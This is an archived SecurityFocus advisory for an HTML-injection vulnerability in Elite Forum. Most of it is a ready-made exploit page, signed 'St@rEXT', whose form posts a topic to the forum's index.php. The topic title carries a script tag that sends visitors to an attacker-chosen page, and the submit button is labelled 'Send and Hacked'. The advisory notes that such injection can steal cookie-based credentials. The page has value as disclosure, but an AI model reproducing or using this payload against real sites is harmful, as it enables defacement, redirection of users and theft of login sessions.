source: https://www.securityfocus.com/bid/15257/info

Elite Forum is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

<title>Elite Forum FULL HTML ENjocter-By St@rEXT</title>
<style>
body{background:url(http://img523.imageshack.us/img523/7704/turkeyflag0xuhz9zc7uf0.jpg);
color:#FFFFFF;
font-weight:bold;}
input{
background-color:darkred;
color:#FFFFFF;
font-weight:bold;
}
</style
<form method=POST action="http://site/path/index.php?act=ptopic&fid=1"
target=_blank>
<b><em><h2><b>Elite Forum FULL HTML ENjocter-By
St@rEXT</b></h2></em></b></font>
        <br>

        <b>Your HTML C0de : <br></b>
        <input  size="60" type="text"  name="title"
value='<script>location="http://yourindex.html"</script>'>

        <BR><BR><BR><b>Forum Messages:</b><BR>

        <input cols=2 rows=1 name='post'value='Bug On!!!'><BR><BR><br>
<input type=submit value="Send and Hacked">
        <BR><BR>


        <BR><BR><BR>
        </form>